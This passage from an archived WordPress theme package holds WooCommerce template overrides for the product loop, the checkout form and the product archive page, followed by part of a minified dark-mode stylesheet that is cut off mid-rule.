        </div>
    </div>
</div>
<div class="penci-product-loop-title">
	<?php
	do_action( 'penci_swatches_loop' );
	/**
	 * Hook: woocommerce_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_product_title - 10
	 */
	do_action( 'woocommerce_shop_loop_item_title' );


	/**
	 * Hook: woocommerce_after_shop_loop_item_title.
	 *
	 * @hooked woocommerce_template_loop_rating - 5
	 * @hooked woocommerce_template_loop_price - 10
	 */
	do_action( 'woocommerce_after_shop_loop_item_title' );
	do_action( 'penci_after_shop_loop' );
	?>
</div>
PK     N\:\	  \	  &  woocommerce/checkout/form-checkout.phpnu [        <?php
/**
 * Checkout Form
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/checkout/form-checkout.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

do_action( 'woocommerce_before_checkout_form', $checkout );

// If checkout registration is disabled and not logged in, the user cannot checkout.
if ( ! $checkout->is_registration_enabled() && $checkout->is_registration_required() && ! is_user_logged_in() ) {
	echo esc_html( apply_filters( 'woocommerce_checkout_must_be_logged_in_message', __( 'You must be logged in to checkout.', 'woocommerce' ) ) );

	return;
}

?>

<form name="checkout" method="post" class="checkout woocommerce-checkout"
      action="<?php echo esc_url( wc_get_checkout_url() ); ?>" enctype="multipart/form-data">

	<?php if ( $checkout->get_checkout_fields() ) : ?>

		<?php do_action( 'woocommerce_checkout_before_customer_details' ); ?>

        <div id="customer_details">
            <div class="woocommerce_checkout_billing">
				<?php do_action( 'woocommerce_checkout_billing' ); ?>
            </div>

            <div class="woocommerce_checkout_shipping">
				<?php do_action( 'woocommerce_checkout_shipping' ); ?>
            </div>
        </div>

		<?php do_action( 'woocommerce_checkout_after_customer_details' ); ?>

	<?php endif; ?>

	<?php do_action( 'woocommerce_checkout_before_order_review_heading' ); ?>

	<?php do_action( 'woocommerce_checkout_before_order_review' ); ?>

    <div id="order_review" class="woocommerce-checkout-review-order">
        <div class="woocommerce-checkout-review-order-inner">
            <h3 id="order_review_heading"><?php esc_html_e( 'Your order', 'woocommerce' ); ?></h3>
			<?php do_action( 'woocommerce_checkout_order_review' ); ?>
        </div>
    </div>

	<?php do_action( 'woocommerce_checkout_after_order_review' ); ?>

</form>

<?php do_action( 'woocommerce_after_checkout_form', $checkout ); ?>
PK     N\0X8m  m    woocommerce/archive-product.phpnu [        <?php
/**
 * The Template for displaying product archives, including the main shop page which is a post type archive
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/archive-product.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package soledad\woocommerce
 * @version 8.6.0
 */

defined( 'ABSPATH' ) || exit;

get_header( 'shop' );

/**
 * Hook: woocommerce_before_main_content.
 *
 * @hooked woocommerce_output_content_wrapper - 10 (outputs opening divs for the content)
 * @hooked woocommerce_breadcrumb - 20
 * @hooked WC_Structured_Data::generate_website_data() - 30
 */
do_action( 'woocommerce_before_main_content' );
?>
    <header class="woocommerce-products-header">
		<?php if ( apply_filters( 'woocommerce_show_page_title', true ) ) : ?>
            <h1 class="woocommerce-products-header__title page-title"><?php woocommerce_page_title(); ?></h1>
		<?php endif; ?>

		<?php
		/**
		 * Hook: woocommerce_archive_description.
		 *
		 * @hooked woocommerce_taxonomy_archive_description - 10
		 * @hooked woocommerce_product_archive_description - 10
		 */
		do_action( 'woocommerce_archive_description' );
		?>
    </header>
<?php
if ( woocommerce_product_loop() ) {

	/**
	 * Hook: woocommerce_before_shop_loop.
	 *
	 * @hooked woocommerce_output_all_notices - 10
	 * @hooked woocommerce_result_count - 20
	 * @hooked woocommerce_catalog_ordering - 30
	 */
	do_action( 'woocommerce_before_shop_loop' );

	?>

    <div class="penci-active-filters">
		<?php


		the_widget( 'WC_Widget_Layered_Nav_Filters', array(
			'title' => ''
		), array() );


		?>
    </div>
	<?php

	woocommerce_product_loop_start();

	if ( wc_get_loop_prop( 'total' ) ) {
		while ( have_posts() ) {
			the_post();

			/**
			 * Hook: woocommerce_shop_loop.
			 */
			do_action( 'woocommerce_shop_loop' );

			wc_get_template_part( 'content', 'product' );
		}
	}

	woocommerce_product_loop_end();

	/**
	 * Hook: woocommerce_after_shop_loop.
	 *
	 * @hooked woocommerce_pagination - 10
	 */
	do_action( 'woocommerce_after_shop_loop' );
} else {
	/**
	 * Hook: woocommerce_no_products_found.
	 *
	 * @hooked wc_no_products_found - 10
	 */
	do_action( 'woocommerce_no_products_found' );
}

/**
 * Hook: woocommerce_after_main_content.
 *
 * @hooked woocommerce_output_content_wrapper_end - 10 (outputs closing divs for the content)
 */
do_action( 'woocommerce_after_main_content' );

/**
 * Hook: woocommerce_sidebar.
 *
 * @hooked woocommerce_get_sidebar - 10
 */
do_action( 'woocommerce_sidebar' );

get_footer( 'shop' );
PK     N\{C    dark.min.cssnu [        body.pcdm-enable{--pcwc_ckout_inner_bg:var(--pcbg-l-cl);--pcl_btn_group_bg_color:var(--pcbg-l-cl);--pcl_btn_group_bg_hv_color:var(--pcaccent-cl);--pcl_6_bg_cl:var(--pcbg-l-cl);--pchb-main-menu-cl:var(--pcbg-l-cl);--pchb-second-menu-cl:var(--pctext-cl)}body.pcdm-loading,body.pcdm-loading *{transition:none!important;transition-delay:unset!important}body.pcdm-enable.pcdark-mode .pccatds-filled .cat>a.penci-cat-name{color:var(--pcaccent-cl);background-color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .pccatds-filled .cat>a.penci-cat-name:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #header .inner-header,body.pcdm-enable.pcdark-mode .pccatds-filled .cat>a.penci-cat-name:hover{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode.penci-body-boxed{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-page-header h1{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .share-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .post-share a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .post-share a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .error-image:after{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .error-404 .sub-heading-text-404{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .error-404 form.pc-searchform input.search-input::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .error-404 .go-back-home a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-entry .wp-block-quote,body.pcdm-enable.pcdark-mode .woocommerce .page-description .wp-block-quote,body.pcdm-enable.pcdark-mode .wpb_text_column .wp-block-quote{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,body.pcdm-enable.pcdark-mode .penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{background-color:var(--pcbg-cl)}@media only screen and (max-width:767px){body.pcdm-enable.pcdark-mode .standard-post-special_wrapper{background:var(--pcbg-cl)}}body.pcdm-enable.pcdark-mode #penci-demobar,body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle,body.pcdm-enable.pcdark-mode .home-pupular-posts-title span,body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button,body.pcdm-enable.pcdark-mode .penci-post-box-meta.penci-post-box-grid .penci-post-share-box,body.pcdm-enable.pcdark-mode .widget select,body.pcdm-enable.pcdark-mode .widget select option,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text,body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-product-search input[type=search],body.pcdm-enable.pcdark-mode .wrapper-boxed,body.pcdm-enable.pcdark-mode .wrapper-boxed.enable-boxed,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post .item>.thumbnail:before{border-right-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item>.thumbnail:before{border-left-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #add_payment_method .cart-collaterals .cart_totals tr td,body.pcdm-enable.pcdark-mode #add_payment_method .cart-collaterals .cart_totals tr th,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_tags,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_title,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-forums-list,body.pcdm-enable.pcdark-mode #bbpress-forums .wp-editor-container,body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-template-notice.info,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-footer,body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-more a,body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-newest a,body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=search],body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=text],body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=search],body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=text],body.pcdm-enable.pcdark-mode #buddypress .profile[role=main],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=color],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=date],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime-local],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=email],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=month],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=number],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=password],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=range],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=search],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=tel],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=text],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=time],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=url],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=week],body.pcdm-enable.pcdark-mode #buddypress .standard-form select,body.pcdm-enable.pcdark-mode #buddypress div.generic-button a,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pag-count,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a:hover,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links span,body.pcdm-enable.pcdark-mode #buddypress form#whats-new-form textarea,body.pcdm-enable.pcdark-mode #buddypress select,body.pcdm-enable.pcdark-mode #buddypress table.forum tr td.label,body.pcdm-enable.pcdark-mode #buddypress table.messages-notices tr td.label,body.pcdm-enable.pcdark-mode #buddypress table.notifications tr td.label,body.pcdm-enable.pcdark-mode #buddypress table.notifications-settings tr td.label,body.pcdm-enable.pcdark-mode #buddypress table.profile-fields tr td.label,body.pcdm-enable.pcdark-mode #buddypress table.profile-fields:last-child,body.pcdm-enable.pcdark-mode #buddypress table.wp-profile-fields tr td.label,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,body.pcdm-enable.pcdark-mode #buddypress ul.item-list,body.pcdm-enable.pcdark-mode #buddypress ul.item-list li,body.pcdm-enable.pcdark-mode #comments_pagination a,body.pcdm-enable.pcdark-mode #comments_pagination span,body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form .bbp-form input[type=password],body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form .bbp-form input[type=text],body.pcdm-enable.pcdark-mode #main #bbpress-forums .bbp-login-form fieldset.bbp-form select,body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle,body.pcdm-enable.pcdark-mode #respond h3,body.pcdm-enable.pcdark-mode #respond input,body.pcdm-enable.pcdark-mode #respond textarea,body.pcdm-enable.pcdark-mode #widget-area,body.pcdm-enable.pcdark-mode #wp-calendar tbody td,body.pcdm-enable.pcdark-mode .bbp-pagination-links a,body.pcdm-enable.pcdark-mode .bbp-pagination-links span.current,body.pcdm-enable.pcdark-mode .bp-avatar-nav ul,body.pcdm-enable.pcdark-mode .bp-avatar-nav ul.avatar-nav-items li.current,body.pcdm-enable.pcdark-mode .comments .comment,body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a,body.pcdm-enable.pcdark-mode .grid-mixed,body.pcdm-enable.pcdark-mode .header-header-1.has-bottom-line,body.pcdm-enable.pcdark-mode .header-header-4.has-bottom-line,body.pcdm-enable.pcdark-mode .header-header-7.has-bottom-line,body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-post-box,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-10 .mag-post-box.first-post,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-2 .mag-post-box.first-post,body.pcdm-enable.pcdark-mode .penci-grid li.list-boxed-post-2 .content-boxed-2,body.pcdm-enable.pcdark-mode .penci-grid li.list-post,body.pcdm-enable.pcdark-mode .penci-home-popular-posts,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button,body.pcdm-enable.pcdark-mode .penci-post-box-meta,body.pcdm-enable.pcdark-mode .penci-recipe,body.pcdm-enable.pcdark-mode .penci-recipe-heading,body.pcdm-enable.pcdark-mode .penci-recipe-ingredients,body.pcdm-enable.pcdark-mode .penci-recipe-notes,body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count,body.pcdm-enable.pcdark-mode .post-author,body.pcdm-enable.pcdark-mode .post-comments .post-title-box,body.pcdm-enable.pcdark-mode .post-entry .wp-block-quote,body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote,body.pcdm-enable.pcdark-mode .post-entry hr,body.pcdm-enable.pcdark-mode .post-entry hr.wp-block-separator,body.pcdm-enable.pcdark-mode .post-entry pre,body.pcdm-enable.pcdark-mode .post-entry table,body.pcdm-enable.pcdark-mode .post-entry td,body.pcdm-enable.pcdark-mode .post-entry th,body.pcdm-enable.pcdark-mode .post-pagination,body.pcdm-enable.pcdark-mode .post-password-form input[type=email],body.pcdm-enable.pcdark-mode .post-password-form input[type=number],body.pcdm-enable.pcdark-mode .post-password-form input[type=password],body.pcdm-enable.pcdark-mode .post-password-form input[type=text],body.pcdm-enable.pcdark-mode .post-related,body.pcdm-enable.pcdark-mode .tags-share-box,body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-top,body.pcdm-enable.pcdark-mode .widget .tagcloud a,body.pcdm-enable.pcdark-mode .widget input[type=date],body.pcdm-enable.pcdark-mode .widget input[type=email],body.pcdm-enable.pcdark-mode .widget input[type=number],body.pcdm-enable.pcdark-mode .widget input[type=password],body.pcdm-enable.pcdark-mode .widget input[type=search],body.pcdm-enable.pcdark-mode .widget input[type=text],body.pcdm-enable.pcdark-mode .widget select,body.pcdm-enable.pcdark-mode .widget ul li,body.pcdm-enable.pcdark-mode .widget ul ul,body.pcdm-enable.pcdark-mode .widget-social a i,body.pcdm-enable.pcdark-mode .widget_display_stats dd,body.pcdm-enable.pcdark-mode .widget_display_stats dt,body.pcdm-enable.pcdark-mode .widget_wysija input,body.pcdm-enable.pcdark-mode .wp-block-latest-posts,body.pcdm-enable.pcdark-mode .wp-block-pullquote:not(.is-style-solid-color),body.pcdm-enable.pcdark-mode .wp-block-quote:not(.is-large):not(.is-style-large),body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__input,body.pcdm-enable.pcdark-mode .wp-block-separator,body.pcdm-enable.pcdark-mode .wp-block-yoast-faq-block .schema-faq-section,body.pcdm-enable.pcdark-mode .wp-block-yoast-how-to-block ol.schema-how-to-steps,body.pcdm-enable.pcdark-mode .wp-block-yoast-how-to-block ol.schema-how-to-steps li,body.pcdm-enable.pcdark-mode .wpb_text_column .wp-block-quote,body.pcdm-enable.pcdark-mode .wpb_text_column hr,body.pcdm-enable.pcdark-mode .wpcf7 input,body.pcdm-enable.pcdark-mode .wpcf7 textarea,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,body.pcdm-enable.pcdark-mode .wrapper-penci-review,body.pcdm-enable.pcdark-mode blockquote.wp-block-quote,body.pcdm-enable.pcdark-mode div.bbp-forum-header,body.pcdm-enable.pcdark-mode div.bbp-reply-header,body.pcdm-enable.pcdark-mode div.bbp-topic-header,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=date],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=datetime],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=email],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=month],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=number],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=password],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=range],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=search],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=tel],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=text],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=time],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=url],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=week],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form select,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form textarea,body.pcdm-enable.pcdark-mode th,body.pcdm-enable.pcdark-mode.author .post-author,body.pcdm-enable.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text,body.pcdm-enable.pcdark-mode.woocommerce .page-description .wp-block-quote,body.pcdm-enable.pcdark-mode.woocommerce .widget_shopping_cart .total,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-product-search input[type=search],body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] td,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] th,body.pcdm-enable.pcdark-mode.woocommerce div.product .product_meta,body.pcdm-enable.pcdark-mode.woocommerce div.product .related>h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .upsells>h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description td,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description th,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs,body.pcdm-enable.pcdark-mode.woocommerce form .form-row .input-text,body.pcdm-enable.pcdark-mode.woocommerce form.checkout table.shop_table,body.pcdm-enable.pcdark-mode.woocommerce form.checkout_coupon,body.pcdm-enable.pcdark-mode.woocommerce form.login,body.pcdm-enable.pcdark-mode.woocommerce form.register,body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table a.remove,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td,body.pcdm-enable.pcdark-mode.woocommerce ul.cart_list li,body.pcdm-enable.pcdark-mode.woocommerce ul.product_list_widget li,body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals table,body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals tr td,body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals tr th,body.pcdm-enable.pcdark-mode.woocommerce-cart table.cart td.actions .coupon .input-text,body.pcdm-enable.pcdark-mode.woocommerce-checkout #payment ul.payment_methods,body.pcdm-enable.pcdark-mode.woocommerce-checkout .cart-collaterals .cart_totals tr td,body.pcdm-enable.pcdark-mode.woocommerce-checkout .cart-collaterals .cart_totals tr th,body.pcdm-enable.pcdark-mode.woocommerce-page form .form-row .input-text,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description td,body.pcdm-enable.pcdark-mode.woocommerce.widget_shopping_cart .total{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-recipe-index-wrap h4.recipe-index-heading>span:after,body.pcdm-enable.pcdark-mode .penci-recipe-index-wrap h4.recipe-index-heading>span:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .post-share a.penci-post-like:after,body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o:after{background-color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post{border-color:var(--pcborder-cl)!important}body.pcdm-enable.pcdark-mode .penci-post-box-meta.penci-post-box-grid:before,body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-range{background-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts{border-color:var(--pcborder-cl)!important;color:#999!important}body.pcdm-enable.pcdark-mode .penci-vernav-enable .penci-menu-hbg{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none}body.pcdm-enable.pcdark-mode .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg{border-right:1px solid var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg{border-left:1px solid var(--pcborder-cl)}body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode.pchds-overlay form.pc-searchform input.search-input{background-color:transparent}body.pcdm-enable.pcdark-mode,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-pagination-count,body.pcdm-enable.pcdark-mode #bbpress-forums .status-closed,body.pcdm-enable.pcdark-mode #bbpress-forums .status-closed a,body.pcdm-enable.pcdark-mode #bbpress-forums .wp-editor-container,body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content,body.pcdm-enable.pcdark-mode #bbpress-forums fieldset.bbp-form legend,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness>a,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count,body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-more a,body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-newest a,body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=color],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=date],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime-local],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=email],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=month],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=number],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=password],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=range],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=search],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=tel],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=text],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=time],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=url],body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=week],body.pcdm-enable.pcdark-mode #buddypress a.activity-time-since,body.pcdm-enable.pcdark-mode #buddypress div#item-header div#item-meta,body.pcdm-enable.pcdark-mode #buddypress div.generic-button a,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pag-count,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a:hover,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links span,body.pcdm-enable.pcdark-mode #buddypress form#whats-new-form textarea,body.pcdm-enable.pcdark-mode #buddypress select,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,body.pcdm-enable.pcdark-mode #buddypress ul.item-list li div.item-title span,body.pcdm-enable.pcdark-mode #comments_pagination a,body.pcdm-enable.pcdark-mode #comments_pagination span,body.pcdm-enable.pcdark-mode #respond h3 small a,body.pcdm-enable.pcdark-mode #respond h3 small a:hover,body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span,body.pcdm-enable.pcdark-mode #respond input,body.pcdm-enable.pcdark-mode #respond textarea,body.pcdm-enable.pcdark-mode #wp-calendar caption,body.pcdm-enable.pcdark-mode .about-widget .about-me-heading,body.pcdm-enable.pcdark-mode .activity-greeting,body.pcdm-enable.pcdark-mode .activity-inner,body.pcdm-enable.pcdark-mode .archive-box h1,body.pcdm-enable.pcdark-mode .archive-box span,body.pcdm-enable.pcdark-mode .author-content .author-social,body.pcdm-enable.pcdark-mode .author-content h5 a,body.pcdm-enable.pcdark-mode .bbp-forum-header a.bbp-forum-permalink,body.pcdm-enable.pcdark-mode .bbp-reply-header a.bbp-reply-permalink,body.pcdm-enable.pcdark-mode .bbp-topic-header a.bbp-topic-permalink,body.pcdm-enable.pcdark-mode .container-single .post-share a,body.pcdm-enable.pcdark-mode .demobar-desc,body.pcdm-enable.pcdark-mode .demobar-title,body.pcdm-enable.pcdark-mode .error-404 .sub-heading-text-404,body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title,body.pcdm-enable.pcdark-mode .header-standard .author-post span a,body.pcdm-enable.pcdark-mode .item-related h3 a,body.pcdm-enable.pcdark-mode .page-share .post-share a,body.pcdm-enable.pcdark-mode .penci-page-header h1,body.pcdm-enable.pcdark-mode .penci-pagination .disable-url,body.pcdm-enable.pcdark-mode .penci-pagination a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a,body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-post-share-box a,body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-text,body.pcdm-enable.pcdark-mode 